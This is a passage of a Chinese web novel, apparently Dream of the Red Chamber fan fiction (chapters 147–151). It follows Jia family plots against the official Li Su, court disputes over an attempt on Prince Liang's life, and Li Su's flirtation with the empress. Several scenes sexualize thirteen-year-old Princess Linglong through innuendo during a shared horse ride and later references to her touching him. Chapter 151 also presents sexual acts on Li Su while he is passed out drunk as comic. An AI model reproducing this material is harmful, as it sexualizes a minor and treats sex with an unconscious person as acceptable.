贾母恍惚了一下:“对了,你刚才说什么?” “打发走!” “……若如此……嗯,你们俩说说,皇帝有没有可能…削爵?” “啊?这……好似,有可能。” 贾母忽然道:“鸳鸯,你们先下去吧。”丫鬟嬷嬷行了个礼悄悄退出了屋子,贾母继续道:“他是个好孩子,若是削了爵,咱们府里也要厚待于他,元春、探春的事儿也就解了。” 贾政恍然大悟,但接着眉头皱了起来:“探春的事儿可都定下了,约书也给了素哥儿,这……”他到底是受教条束缚较重,心里的关难过。 贾母呵斥了一句:“糊涂!” 贾赦同时哈哈大笑。 “二弟,你现在还不明白权贵两个字是什么意思么?” 贾政面色难看,沉默了一下道:“唉……由母亲做主罢!” “你们办两件事儿,一是让老亲们使力,弹劾素哥儿,别自己上折子,就用平日里养的那些子文人,咱不能让素哥儿知道是谁出的手,否则姑爷那不好说话。” 贾赦起身:“好,我去办。” “那第二件是?” 贾母眼睛眯了起来,似有寒光,一字一句道:“让他舅老爷上折子,说闻听神京有人造反,他请进京勤王!” 这? 太狠了! 这两下里,文武一起发力,李素面对的结局。 削爵!罢官! 贾赦和贾政两人听完这话,心中大震,顿时勾起了对母亲多年未有的敬畏。 屋子里安静了下来,三人谁也不再说话。 不多时,贾赦、贾政二人平复了心绪,正打算去办事,就听到外面嘈杂声,鸳鸯在喊,还有人哭。 “嬷嬷,你不能进去,老祖宗吩咐了!” “……呜呜,我要见老祖宗,我可家破人亡了啊,你松手!。” “天塌了也不行!” “让我进去,你这小婢养的!” “啊,你怎么咬人?” 贾赦腾的窜了起来:“球囊的烂货,再嚷打死了事!” 紧接着就见赖嬷嬷披头散发的闯进了屋子,噗通跪倒在了地上,不停的朝着贾母,随后鸳鸯也进了屋子,捂着手恨恨的看着地上的赖嬷嬷。 “莫哭,这是怎么了?” 赖嬷嬷跪着扑到了贾母的脚下,撕心裂肺的嚎了起来:“老祖宗啊,可要给我做主啊,我家被抄了啊!” “你先别哭,好好说说,怎么就被抄了?” “我……我也不知啊,就是二哥儿,一直没被放出来,今日里突然就被抄了,家里的银子都被送进了东……东府,求老祖宗救救二哥儿,把银子要回来。” 贾母一向是装糊涂,此时不装了,直接问:“是赖二贪了东府的银子?” “这……这或许是有的,但大部分都是家里自己攒的。” 贾母看向贾赦:“老大,你问过顺天府么?赖二他们何适才能放回来。”接着她拍了拍赖嬷嬷,缓声道:“不过些许银子,错了就还回去,你也是府里的老人了,不能坏了规矩,珍哥儿用赖二还是瞧了我的面子,他做下这等事儿,我老婆子的脸都没了。” 贾母的话说的有些重,赖嬷嬷一时支支吾吾。 “母亲,顺天府只是代押,人归飞鱼卫管,说不上话的,那是皇帝的人。” “飞鱼卫怎么还做起这等事儿了?还把银子还回来了?” 贾母这话白问,谁也搞不清怎么回事儿。 “老祖宗,您能不能跟东府说一句,把二哥儿贪了的百八十两银子扣了,其余我赖家自己的银子还回来。” 贾母有些不高兴了。 “你我老婆子帮你要百八十两银子?” “不,不是百八十两。” 贾赦嗤笑:“你这老虔婆,千把两也不值得母亲为你开口啊,你是痰迷了心,还是脂油蒙了窍?” “也……也不是千把两,算了……唉,算我赖家倒霉吧……呜呜。” 她到底还有点儿理智,不敢再说下去了,但想起那些银子没了,心疼的受不住又哭了起来。 但贾赦却发现了g点:“有几万两?我去跟你要,分我一半!” 他被李素拿走了所有的积蓄,现在正穷的眼睛发绿,看谁的银子都像自己的。 “啊,老婆子不要了,不要了!” “老大,快去办事儿!” 贾母拐杖一顿,不想他逼迫自己的老丫鬟。 贾赦嘿嘿一笑,起身就往外走,赖嬷嬷见状有些慌,她知道贾赦盯上了,必然去查,若是再查回荣国府,自己家可就要完了。 “大老爷,大老爷,老婆子家里还有些银两,你缺银子使,明日我让赖大给你送去可好?” “送多少?” “大老爷用多少就送多少?” “一万两可有?” “老婆子回去就让他们卖房卖地,死也给大老爷凑出来!” 贾母叱道:“快滚,向家仆要银子使,你还有什么脸面?” “儿子这就走。” 说完就往外走,他心里盘算好了,赖家的银子他要,赖家送宁国府的银子他也要,先去要银子! 贾赦出门后,赖嬷嬷又后悔了,她寻思着刚才跟贾赦说的话可能没什么用,东府被送了十大车银子的事儿根本就瞒不住。 她首要考虑的应是怎么解释那么多银子的来源,防止府里追查,但现在一切都晚了,想到此处她悲从中来,身子一晃又晕了过去。 贾赦还没出荣国府就觉得气氛有些不对,路过的小厮丫鬟叽叽咕咕,一惊一乍的,就好似贾珍贴宝玉的时候。 “你过来,球囊的还躲着老子,叽叽咕咕在说甚?” “大……大,大老爷,是东府,不对,是赖家的银子,十大车都被送进了东府!” “多,多少?” 贾赦的嗓子都破了,像小鸡儿一样喊了起来! “十大车!” “十大车?十大车……是多少?” “说五十万两!” 贾赦猛的跳了起来:“叫人!随我去东府……不,不对……”贾赦原地转起了圈子,他感觉好像哪里不对。 金宝街大火,荣国府替东府出了十万两,这银子东府要还。 赖家的银子,呸!狗屁赖家的银子,十有八九就是赖二贪的东府的银子,不对,不对也可能是赖大贪的我的银子。 我是荣国之主! 不对,还不对…… 贾赦的脑子快成了浆糊。 中城兵马司门前。 梁王猛的看向了楚王:“不对,二弟,是你想杀我!” 第148章 马震么?(大章) 四周的人随着梁王的话,瞬间安静下来。 楚王心中大慌。 大哥竟然就在这大庭广众之下,说自己想杀他。 自己是想杀他,但没找到机会不是? 况且也不能这么杀,太太太粗鲁了。 他跺脚急道:“大哥,你说什么?我是你兄弟啊!” 梁王冷笑一声,双手背在后面,缓步走动起来。 “就是你,这里是中城兵马司,你是指挥使,我在这里遇刺,出手的是兵部的人,兵部又是你在观政,柳明善也是你叫来的吧?” 李素和季宗礼对视一眼,这梁王的反射弧也太长了。 “大哥,我是你兄弟,我怎么会杀你?” “就因为你是我兄弟,你才想杀我!你嫉妒我,没错儿,你嫉妒我!” “我没有!” “二弟,你如果想杀我,没必要如此的,我是做大哥的,爱护幼弟是我的职责,你直说就好啊。” 接着他仰天长叹:“只要你说,大哥不一定会满足你,但一定会劝导你,兄弟睨于墙,圣人所恶也。” 李素碰了碰季宗礼:“这梁王一直这么中二么?” “什么二?” “就是有点儿……神经病……二傻子。” “爵爷噤声!” 说完他竟点了点头。 楚王心也冷静了下来,不管怎样,这盆脏水他不能接,他阴沉的脸变得更加阴沉了:“大哥,你信也也好,不信也好,我没想过杀你,今天更不是我要杀你!” “不是你啊,那二弟说说,是不是柳明善?” “梁王殿下!” 柳明善又是一个头磕在了地上。 “大哥,柳大人公忠体国,官声甚好,不会是他!” “嗯,二弟说的有理,既然也不是柳大人,那还能是谁呢?” 楚王和柳明善不接话。 “大锅,有人要杀你么?” 玲珑公主小脸儿变得惨白,大眼睛里面藏了恐惧,死死攥着梁王的衣襟。 “你没看到?是了,你太矮了,玲珑,你要多吃一点儿,以后长高一点知道么?看看你这小身子,大哥很担心。” 梁王忽然就变的絮絮叨叨,温情脉脉。 李素看着不禁怀疑起自己的判断,现在怎么都觉得梁王也不太对劲,好像这兄弟四个都有点儿不太正常。 看看了萌萌的玲珑,心下暗道,大概这一家子就剩下个姑娘是好的了。 “皇上有旨,宣梁王、楚王、玲珑公主、花园子爵李素进宫!” 街头出现几匹快马,马上的小黄门不停的高喊着旨意向这边跑来。 小黄门跑到近前,下马就跪:“请两位王爷、公主、花园子爵骑马进宫。” “我想骑那个照玉狮子!” 玲珑公主指着门前李素的浮香说道。 梁王羡慕的看了一眼照玉狮子。 楚王撇嘴看了一眼玲珑。 梁王用不用质疑的口气道:“李素,玲珑公主要骑你的马,你就给她吧。” “好,要还的,请吧公主。” “谢谢李素哥哥。”玲珑对李素行了个礼,就跟着他往照玉狮子走去。 梁王和楚王见状,率先上了马,一拍马背就跑了出去。 而玲珑公主跟着李素到了照玉狮子面前后,呆立了片刻,小嘴一瘪看向李素:“李素哥哥,我上不去。” 李素看着头才到照玉狮子马背的玲珑,乐了:“臣帮你吧。” 玲珑点头如小鸡啄米:“好。” 李素上前拍了拍浮香的马脖子,然后蹲身双手掐住了玲珑的纤腰,把她推举过了头顶往马背上放过去。 真轻,感觉能抱着她攮一天。 玲珑坐在了马背上,摇摇晃晃,大眼睛惊恐的看向下面的李素:“我,我有点儿怕!” “马震么?” “不,不震,就是太高啦。” 玲珑的小脚,来回勾动找着马镫,但是根本就不是能不能找到的问题,而是因为腿短够不到。 她好像也发现这个问题了。 “李素哥哥,你能跟我一起么?” “不合礼。” “那,那我不做啦,我跑着去见父皇。”说着眼泪扑簌簌就开始往下掉。 “但是我愿意,哈哈哈。” 李素一搭马背就跃了上去,坐在了玲珑的身后,双手伸到前面抓住了马缰绳,顺便把玲珑抱在了怀里,随后一夹马背就窜了出去。 玲珑惊呼一声,眼睛就死死的闭了起来,照玉狮子忽 然窜出的惯性,让她的小身子猛然后仰,跟李素紧紧的贴在了一起。 跑了一会儿,忽然感到自己的耳边有点热,就听李素说话了:“公主年庚多少?你平素都喜欢吃什么?” “十三,吃木瓜。” 谜题解了。 李素再次打马:“驾!” 奔着皇宫疾驰而去。 贾赦终于理清了账。 东府欠五十万两银子,是十一家的,其中荣国府单独占了十万两,其余四十万两是一众老亲的。 今日是这五十万两正好拿来还债,自己拿十万,不,自己应把五十万两全拿来,可以慢慢还债,银子还可生银子。 赖家拿了东府五十万,那拿了西府多少银子? 只会更多! 所以现在…… 贾赦拿定主意:“来人,叫人。” 很快他身边就聚集了三十余名小厮。 “大老爷!” “跟我走!” 宁国府,新任的秃头管家跟飞鱼卫交接完毕后,向一旁的尤氏行礼道:“珍大奶奶,我是府里新任的管家,我叫李无色。” “呃,啊,好。” “这库房的钥匙,你一把,我一把,日常用度的银子就在您那放着可好?” “嗯,好。” “对了,我今天带进府里的一百人是护卫,小厮仆妇等,我会继续安排。” “好。” “大奶奶,这是我和贵府的聘书,您画个押。” “好。” 尤氏照做,完事儿后,李无色再次躬身行礼。 “恭送大奶奶!” 尤氏就好像被施了法一般,呆呆的往贾珍的小院儿里走,身边的银蝶边走边左右张望,看着新来的护卫吆三喝四的捉人问话。 她们主仆二人忽然感到,今日起好像宁国府不再姓贾了。 她们想的出入不大,贾赦在宁国府的门前被堵住了,还差一点儿被揍。 “球囊的,竟然敢拦我的路,告诉他们我是谁?” 贾赦气的直哆嗦,进东府竟然被拦住了,这都多少年了,不……自己进东府从来没被拦住过。 东府的门子哭丧着脸道:“赦大老爷,他们是新来的护卫,大奶奶请来的,新来的管家定规矩,有客到访先请示再带人进府。” “我他娘的是客么?你告诉老子,是不是客?” 贾赦气急败坏了,这么一伙子人拦在这里,自己怎么拿银子? “您不是,您不是,您消消气在门厅先奉茶如何?” 贾赦一脚把他踹倒在地,就往门厅走:“行,本将军就等你,等你们奶奶来接我,哼!” 约莫一炷香的时间,贾赦感觉自己都快烧着了,只见一个秃子身穿一身儒衫,迈着四方步从府内而来。 “荣国府一等将军贾赦,贾将军何在?” “你球囊的看不见老子?你是什么东西?” 李无色作揖行礼:“宁国公府管家李无色见过将军,不知将军此来所为何事,请告知于我。” “你,你……老子要进府,找珍侄儿。” “珍大老爷病重昏迷,不宜见客,贾将军请回吧。” 说着他又是一礼。 “我见珍哥儿媳妇!” “老爷病重,奶奶身为妇人,不宜见外男,若见于理不合,贾将军还是等我们老爷醒来再过府吧。” 贾赦不想说话了,猛的推了一把李无色,把他推倒在地就往府里闯,贾赦带的三十个小厮跟着乌泱泱就闯了进去。 护卫赶紧扶李无色。 李无色摆手:“老子刚才有礼吧?” “有的佛爷。” “那就是他无理了啊,给我打出去,还愣着干什么!” “是。” 几个护卫乐呵呵的从怀里掏出一个铁哨子,放到嘴里就吹了起来,声音尖利高亢。吹完后,拿起手中棍子朝着贾赦等人的背影一指。 “强闯国公府,图谋不轨,视为造反,拿下送官!” 喊杀四起! 瞬间宁国府内四面八方赶来的护卫,冲着贾赦一行人就围了过去。 尤氏坐在贾珍外屋厅里发着呆,今天发生的事儿让她非常没有安全感,现在有些后悔了,但好像后悔也没什么办法,那以后就做一个好侯爷么? 但给她封侯的李素也不知何时再来,要不自己去看看儿媳妇? 正想出屋子,里间在伺候贾珍的丫鬟忽然跑了出来,惊喜道:“奶奶,老爷醒了,要喝水呢。” “这……这就醒了?” 尤氏吓了一跳,随后咬了咬牙就进了里间。 “老爷,你醒了?” 头还裹布目不视物的贾珍嗡声道。 “嗯……府里,府里怎么样了?牛继宗有没有闹事儿?” “牛继宗?” 尤氏一愣,这个名字都好几章没见,都有点忘了。 贾珍缓了缓冲着墙道:“咳……那球囊的咒我,还给我要银子,五十万两,怕是穷疯了,咳咳咳……还打我,很疼。” “没,那牛继宗杀了寿儿,然后被素哥儿打了出去,拿着剑砍了他八条街。” “这么的,仗义?寿儿死了啊,死就死了吧……唉,可惜了,他是个会伺候人的宝贝。” 尤氏听了,忍着恶心继续跟他说。 “还有,赖二管家招供,贪了府里五十万两银子,素哥儿托飞鱼卫把银子给要回来了,刚入了府库,还给府里介绍了一个新的管家。” 尤氏说完,贾珍半晌没有动静,不由得唤了一声。 “老爷?” “老爷?你这是怎么了?” 贾珍还是没动静,尤氏吓了一跳,以为他又晕了过去,待要推他一把。 他忽然出声儿。 “我,要和素哥结拜!” 第149章 各方登场 “公主松开……那不是把手!” “喔,震得慌,人家怕。” “我慢点儿。” “人家喜欢快,好爽快。” “闭嘴,这么说话太不健康了,咱们就是骑个马。” “唔唔……” 李素捂住了玲珑公主的嘴,一夹马腹快速冲向了皇宫,等远远看见宫门后,他急忙勒马降速。 不降不行,不光是因为到了宫门,此时宫门前站满了正在排队进宫的官员,门外还停满了轿子,呜呜泱泱的小厮仆役。 他还不敢马踏宫门。 李素到了门前就欲下马,就听守门的侍卫大喊:“花园子爵……呃,玲珑公主请走白虎御道从西华门进宫,不需下马。” 皇帝这么急? 于是他向左一拨马头,就朝着白虎道就跑了过去。 太极宫。 前面的承天广场已经陆续来了不少的官员,大部分表情肃穆,也有小部分交头接耳,频频看向太极宫。 太极宫内的西暖阁。 已经吵了起来。 吵得双方是都察院右都御史刘峦、兵部尚书纪纲。 “攻打同僚衙门,这就是造反,不管他是什么身份,别说他是西城兵马司指挥使,就是飞鱼卫指挥使,没有皇上的旨意也是造反!” “他并不是造反,而是捉贼!现在京中百姓谁不知李青天?” “刘督宪!这是你一个都察院御史应该说的话?你首要应维护朝体而不是所谓的民声!” “纪尚书!你是兵部尚书,而不是刑部尚书、不是大理寺卿,造不造反也由不得你来说!” 都察院右都御史刘峦和兵部尚书纪纲在对喷。 只是好像反了,纪纲成了正方,刘峦成了反方。 “我是兵部尚书,兵马司是我兵部衙门,我说这话合情合理。” “哼!纪大人慎言,兵马司并不只归你兵部,还归皇上管。” “那我兵部也有一半的统辖权!” 首辅严崇狠狠地瞪了他们一眼:“好了,你们别吵了,皇上,依老臣来看这事儿,兵马司的权属不明,这才是大事,李素那百八十人也造不了反,兵马司也没死人。” 雍和帝面沉似水,他的目光微微一转,落在了站在一旁的飞鱼卫指挥使夏方身上。 夏方扑通一声跪倒在地,声音颤抖地说道:“陛下,梁王殿下……梁王殿下在中城兵马司衙前遇刺!” 此言一出,犹如一道惊雷在屋中炸响。一时间陷入了死一般的寂静之中。众大臣们一个个瞪大了眼睛,满脸惊愕之色,仿佛不敢相信自己所听到的消息。 刘峦纪纲他们来的早,还不知道这事儿,皇帝也没让说。 此时,但这些人开始借故争帝权了,雍和帝只好示意夏方搅局。 雍和帝一把掀翻了书案。 “梁王如何?谁干的?狗东西,为何不早报?” 夏方再次叩头回话:“陛下,梁王无恙,被李素救了下来,刺客是兵部的衙兵,柳明善下令放箭捉拿李素,其中两人把箭射向了梁王。” 兵部衙兵? 纪纲顿时身子一晃。 夏方也不知道怎么想的,忽然说道:“梁王说是楚王想……杀他!” “狗东西,你闭嘴,你想死吗?” 这回雍和帝是真怒了,皇子之争还不能拿到台前,不是时候,他还腾不出功夫来处理储君的问题。 夏方不敢说话了。 “报,梁王、楚王、玲珑公主、花园子爵在殿外求见。” “宣!” 很快,梁王、楚王和李素、玲珑一起进来。 不待他们行礼,雍和帝直接开口,冷冷的盯着梁王:“梁王,你说楚王想杀你?” 梁王赶紧跪下。 “啊,父皇,我没有啊,这里面有误会,楚王弟就在现场,兵部又是他观政之所,用箭射我的又是兵部的衙兵,所以儿臣就下意识以为是楚王弟。” “但楚王弟也解释了,不是他,儿臣认为楚王弟说的对,儿臣信他。” “父皇明鉴,儿臣绝没有杀大哥之心,儿臣对大哥向来敬重!”楚王也跪了下来,吓得在一旁赶紧解释。 雍和帝面色缓了下来,不理会楚王,继续问梁王。 “那你觉得是谁要杀你?” “儿臣认为是……建奴!” 雍和帝意外了:“喔?说说看。” “儿臣以为,建奴亡我之心不死,在东北连连受挫,所以他们就想乱我朝廷,从我朝内部下手,减轻他们的压力。” “楚王,你怎么看?” 楚王正吃惊自己的大哥会说出这么一番话,见皇帝老子问他,他赶紧叩头:“儿臣认为大哥说的对!” 雍和帝点点头,忽然笑了:“玲珑,到朕这边儿来,看着小脸都冻红了。”忽然他又看向了李素:“花园子,你怎么看?” “臣站着看……” 雍和帝目光顿时冷冷的扫了过来,李素赶紧躬身。 “臣认为梁王说的对!就是建奴!” 刘峦、纪纲、忠顺王同时起身行礼:“陛下,臣也以为是建奴!” 夏守忠这时匆匆的走了进来,跑的满头大汗,手里还拿着一封奏折:“陛下,百官在成天广场聚齐,要求严惩花园子爵李素,理由是若不惩处,则从此不敢上衙署理公务……另外,京营节度使王子腾上折子,请求带兵进京勤王!” “哈哈,好,好,都是忠臣啊!” 雍和帝笑了起来。 “李素,你说,你是忠臣吗?” “臣是忠臣!” “那么百官和王子腾是忠臣吗?” “大概是藏了奸!” “滚,没有朕的旨意,不要去兵马司就不要去了!” “啊?” 李素愣了,自己的差使这是被拿下来了?还是没被拿下来?自己这是没事儿了? “还不赶紧滚?” “臣告退。” 李素偷偷朝玲珑公主挤了挤眼睛,玲珑眼睛里茫然一片。 他退出了西暖阁,走出太极宫后,一阵寒风吹来,他裹了裹身上的袍子,这京城的冬天真不是人过的。 站在台阶上看着下方的承天广场上的官员们吗,一个个冻得也跟小鸡崽子似的。 他想了想,走到他们前面,清了清嗓子大声道:“呔!各位同僚,敢不敢报一下你们的衙门?” 人群中有人喊道:“李素,你要作甚?” “我要作甚?咱们京城里面有坏人啊,备不住就藏在各位的衙门里,捉贼缉盗是本官的职责,本官是个热心肠,看不得各位每天为朝廷劳心劳力,还要防火防盗,所以本官想还要帮各位出一把子力。” “不当人子,我等今日必要把他撸下来,否则我等还敢上衙?” “本官是不敢了,他不下,这官不当也罢!” “对,对,撸下来!” “跪死在太极宫前也要把他撸下来!” 李素心中一乐,脸上却是露出了惊恐之色:“你们莫跪啊,你们敢跪,我李素就完了啊……千万别!” 他还没说完,底下的官员就噗通跪倒了好几个,同时大声道:“请陛下严惩李素!”随后哗啦啦又跪倒了一片,大声求皇帝严惩李素。 李素见状打算继续撩拨,就感觉身侧有人捅咕自己,他转头一看。 死和尚! 滇王冲他挤挤眼,低声道:“你他娘的是不是想冻死几个?” “没有,憋瞎说!” 李素撇了他一眼,见他一条胳膊搭在小太监身上,令一条胳膊拄着个单拐,浑似个刚茬架完事的混子。 “老子瞎说?老子是疯,但老子脑子不坏啊。” “你就是瞎说!”李素继续否认。 滇王冷哼一声:“你当老子不知道?你被赶出来,肯定是父皇要向这些官儿妥协了的,他们很快就会散了,你说这些词儿,不就是激他们不走么?不让他们走,这天儿……啧啧,太他娘的冷了,把我的袍子还我!” 李元亨说着甩开小太监,腾出一只手就开始撕扯李素身上的裘袍。 李素赶紧护住:“我的!” 他抓住李素的裘袍一边死不撒手。 “你就说你是不是使坏吧?你就不怕父皇被他们逼的砍了你?” “我怕,但老子向来吃软不吃硬,别说兵马司衙门,就是王府惹了我犯了法,老子也照打不误,人活着就是为了一口气,你一个混吃等死的王爷懂个屁!” “真的?” 李元亨有点儿不信,但又想不出为什么李素这么刚,百官这是在逼宫啊,自古被这么逼宫,皇帝为了安抚朝臣,杀的自己人可不止一个。 “当然是真的,你得信老子啊,咱们中国人不骗中国人。” 李素当然不想和他说,自己是皇帝立的,第一天就就来逼宫让自己滚蛋,皇帝面子往哪放,真冻死几个就当于替皇帝出气了,怎么可能砍自己的头? “中国是哪国?” 滇王被转移了注意力。 “没见识了吧,当然是我大周,我大周幅员辽阔,泱泱五千年文明,坐拥中原八千里 ……你谁啊?” 李素正扯淡,见一个小太监走到了自己面前行礼。 “奴才是凤藻宫的支使,奉娘娘的命,请滇王殿下和您过去。” “李元亨,你认识他么?” “认识啊,你以为宫里,还有人敢冒名顶替不成?” “难说。” 第150章 娘娘,穿反了 “午膳用了么?” “回娘娘,还没有。” “光顾着打架了?” “嘿……娘娘圣明,本来臣是准备了一只羊的,腿都打折了就等着中午涮了吃,谁知道楚王……呸!是文思成那些王八蛋,合起伙儿来欺负臣,说起来也是怪神京太大了,一圈儿跑下来就到了下午了。” “现在不说拿贼了?” “娘娘面前,臣就是个直的。” 白皇后暗骂了一声小贼。 “四儿,去,让御厨安排涮羊肉过来。” 滇王感觉自己是不是出现幻听了?自己是个王爷,还是个瘸的,让自己去给李素这孙子叫膳? “母后,我亲娘,我才是你儿子,亲儿子!” 喊的声声委屈。 “你是主人,他是客人,你去不去?” 白皇后眼睛盯着他,眨也不眨。 李元亨左右看了看几个宫女太监,想开口说话,但扛不住白皇后的目光,架起拐撅着腚就往外走去。 李素也感觉他委屈,砸吧了一下嘴想开口,但看见皇后的目光又闭嘴了。 “把宫门关了,你们在外面守着。” 白皇后又出声吩咐了一声,四周的宫女太监也不说话,悄悄的退了出去,随后屋里就剩下了李素和皇后。 “唉,你这孩子今日不该出手的。” 李素闻言大惊:“啊,娘娘是说救梁王?难道那射箭的刺客是……” “是什么?你在想什么?” “臣……在想,那……那刺客是不是娘娘的人?” 说完他的冷汗就冒了下来,这事儿,这么大的事儿是自己现在能参与的吗?皇后与诸王夺嫡!自己又不是首辅,不是大将军! “你说什么?” 皇后凤目一寒,起身走到他面前,素手伸出,掐住了李素的下巴。 “娘娘……臣乱说的,饶命!” “哈哈哈……你这孩子,瞎想什么呢?本宫一个深宫妇人,如何使的了杀手?” 说完,她伸手在李素的喉结上一弹。 李素心放了下来,不自觉的吞咽了一口唾液,看着皇后转身回自己的座位,桃形闪现,又咽了一口唾液。 “臣糊涂。” “李素,你说你是谁的人?” 他福灵心至:“我是娘娘的人。” “哈……好,记住你的话,唉……你不知道,本宫也早已把你当成我的人了,所以本宫才和你说,你不应该出手的。” “为什么?他不也是您的儿……” 皇后摇头:“不是!他就是个小婢养的。” “臣知道了,他是个小逼养的,但他就是个自以为是的皇子,臣觉得他没什么害处,所以想立个功。” 皇后嗤笑一声:“无害?你觉得他是个书呆子?他那是装的。” 李素不解。 “他为什么装书呆子?这样的人,朝臣不会拥护他吧?” “想知道?” “想!” 皇后泯然一笑:“过来,帮本宫把鞋子脱了……愣着做什么?想什么呢?你就像本宫的孩子一样,怎么还害羞了?” 李素脑子里顿时想起了那晚自己眼下的玉足,顿时精神了,走到了白皇后面前,蹲身就拿起了了她纤细嫩白的脚踝。 白皇后的身子不自觉颤栗了一下,面上神色不变,低头看着李素。 拿着脚踝的李素,捏了一下。 滑。 随后屏住气,轻握她的绣鞋,慢慢往下脱,那如玉的脚儿又出现在了他的眼前,不断经过视觉开始冲击他的内心。 他感觉自己此刻不应该叫李素,叫激素才对,被玲珑握过的把手,特别的想挂挡。 “另一只。” 李素感觉她声音好像有点儿颤,于是抬头看,只见白皇后却是一脸的慈爱目光看着他。 这,真把自己当儿子了? 李素摇摇头,继续脱另一只鞋子,真的好白啊。 “娘娘,你的足有些凉,这是气血不足。” “那怎么办?” 李素用力握了握:“臣的手热。” 皇后忽然收回了自己的脚丫儿,骂道:“得寸进尺,滚回你那坐着,本宫跟你说说梁王的事儿。” 李素感觉自己被拿捏了,不得已坐回了自己的墩子,被迫躬身坐着。 “你是不是觉得大臣都想要一个英明神武的皇帝?拥立一个睿智的皇子?那你就错了,或许有朝臣这么想,但是极少数,大部分朝臣都想要一个糊涂皇帝,一个好控制的皇帝!” 李素恍然大悟,自己也一样,想要一个好糊弄的皇帝,好糊弄的上司。 “所以,梁王是演戏?” 皇后没回这话,而是说了结果:“所以大半的朝臣都在拥护梁王。” “臣明白了。” “孺子可教,你觉得今天下手杀梁王的可能是谁?” 李素想了想:“可能是楚王、也可能是靖王,更……” “更可能是小四?不敢说?” “他和我是兄弟,更是您的亲儿子。” 皇后站了起来,赤着脚在地上缓缓漫步:“呵呵,他是本宫的亲儿子,但还跟本宫装,这个儿子啊,有点儿看不透,看不透他到底想什么,你说好不好笑?” 李素想说,你家没有一个正常人,除了玲珑。 “他终究是孝顺您的。” “所以我想让他当储君,但又看不懂他,都无从下手,算了随他吧……你今日见了玲珑感觉怎么样?” “嗯,很可爱,很让人喜欢,虽然小,手劲儿挺大。” “手劲儿?……你来做她的驸马怎么样?” 李素摇头:“不,不怎么样?臣虽然心动,但心里已经有人了。” “谁?” 李素心中一激灵,心念电转,随后缓缓抬起头看着白皇后,眼神很深情。 白皇后慌了一下,转身回自己的座位,然后低头穿鞋子,装作自然的躲过了他的眼神,只是李素瞟见了她胸口剧烈起伏了几下,缓缓平复了下来。 “娘娘,穿反了。” “啊……噗嗤,你这小贼!” 随着白皇后笑骂一声,刚才紧张的气氛悄然而散,二人之间仿佛亲近了许多。 “娘娘,臣是要娶林家女的。” “需要我帮忙吗?” “若是娘娘来做个媒人……” 殿门忽然被打开。 一声暴喝传来:“李素,你好大的胆子!” 第151章 皇后进步(春节快乐) 李素吓得一哆嗦。 手不自觉的往腰间摸去,摸了个空。 他才想起的自己剑,被收在了宫门处。 李元亨瘸着进来,瞪着他:“让母后给你做媒,你他娘的怎么那么大脸呢?” 李素放下心来,正色道。 “娘娘在我心里就是大姐姐。” “哈哈哈……你什么身份,呃,不对,你他娘又沾我便宜……小贼看拐。”李元亨举拐就向李素打来。 李素不跟这孩子一般见识,侧步躲开。 李元亨再追,李素躲到了皇后的身后:“李元亨,你变了,我拿你当兄弟,你拿我当舅?” 李元亨见打他无望,悻悻收拐。 “哼,你等我舅舅回来,看不把你的屎打出来!” “你还真有舅?” “你没有舅,以为老子也没有舅?” “那不知我那大哥在哪里高就?” 李元亨得意道:“说出来吓死你……不对,你他娘又沾我便宜,母后!这人不能留了!”他瞪着眼睛看皇后。 白皇后慈笑。 “好了,你们俩别闹了,小四儿的舅舅在辽东,现在应该在和建奴打仗吧,膳食来了,素哥儿快用些。” 只见几个太监端着羊肉锅和各种配菜就进了殿,还有酒。 等他们张罗好,李素也不客气,“谢娘娘。”对皇后称了一声谢就坐下来开始吃,他是真饿了,一大早出来,到现在四五个时辰,一滴水都没喝上。 “我也要吃,去给老子拿副筷子。”李元亨对太监吩咐一声,随后对李素吐槽:“你他娘真不知道感恩,这羊是我安排的,你光谢后母不谢我。” “呵呵,喝酒吧,乖!” 李素给他倒了一杯酒。 “你倒酒就倒酒,一副看儿子似的眼光是什么意思?” 李素依然慈爱:“食不言寝不语,听话,喝酒,要不要我喂你?” 李元亨气的一口干掉了杯中的酒,嘟囔了一句:“儿子伺候老子。” 二人边吃边斗嘴,不多时便锅干酒净了。 李素看了看醉倒在地的李元亨,看向皇后傻傻一乐:“大姐姐……你旁边是谁?……是…是二姐姐吗?” 说完一头栽到了地上。 皇后也不言声,挥挥手指了指李元亨,几个太监匆匆过来把滇王就给抬走。 地上就剩下了李素,元春不知道什么时候来了,把殿门关了,走到皇后的一侧,见皇后盯着李素不动,她也不说话。 剑眉,英目,悬鼻。 英挺如玉的面庞,被酒晕染了红,美不胜收。好想踩踩啊,皇后心里叹了一声。 “去吃。” “啊,什么?” “就如那晚一样。” 贾元春面色一红,缓缓的蹲下了身子,掏出了玲珑今天用过的把手。 心里住着魔鬼的白皇后看了一会儿,把脚上的鞋子踢掉,站起了身子走到李素的身边,抬起了脚丫儿。 李素,做噩梦了。 在梦里他被妖精抓进了一个洞里,洞里并不阴森,也不恐怖,反而温暖如春,百花的香气洋溢在洞里,光线也明亮起来。 大妖精说,要喂他吃灵丹妙药养肥了再吃,于是就被塞了一颗颗丹丸,他本想挣扎,但这妖精做的丹药,香气怡人,滑嫩可口,他抵抗不了口舌之欲。 但还是忍不住挣扎,但感到要害也被控制了。 白皇后见元春有些陶醉,她走过来伸脚推开了元春的脸。 “啊,娘娘轻些踩。” “你懂什么叫如羽之春么?看仔细。” 元春看去,涂丹的脚趾灵活万分,好似在弹琵琶,但一曲未完就被黏住了。 白皇后抿嘴一笑:“你继续。” 看着元春吃饱后,白皇后走进了里间,径直往地上一躺打起滚来,发泄着心中的情绪,尽显妖娆。 李素醒来的时候,发现环境有些熟悉,是元春的房间,元春的床榻。 元春如花的俏脸正在低头看他。 “老爷醒了,可要更衣么?” “好。” 元春起身到了外间,再回来只见他拿过了一个大红的狐裘过来,是自己的,黛玉送自己的那个。 “这是补好了?” “老爷看看,是否妥当。” 李素拿在手上,翻看了一下,竟和原来别无二致。 “哈哈哈,好手艺。” 拉过元春狠狠地吻了一口:“这几日在宫里如何?可有想老爷?” 刚吃过的元春,面色红了 一下:“想呢。” “等年后,老爷就把你接回去了。” “府邸修缮要到年后了么?” 李素摇了摇头:“我也不知,想必是能好的,但我要回家过年了,年前肯定没有时间,所以要到年后再接你过府。” “是回林姑父家么?” “是的。” “那奴家等老爷回来。” “好。” 承天广场此时却热闹了。 冻晕过去七八个官员,西暖阁内的夏守忠终于在散了会后,有功夫出来了,他皱眉看向下面的官儿不光没走,还弄得如此惨相有些不解,搞不清楚他们为何如此坚持。 他猛然想起来,皇帝只是把李素给骂走了,并没有对百官说这事儿,皇上和自己都忘了殿前这些人。 于是他清了清嗓子。 “皇上有旨,诸臣回府,花园子爵李素勒令无旨不得上衙。” “皇上圣明!” 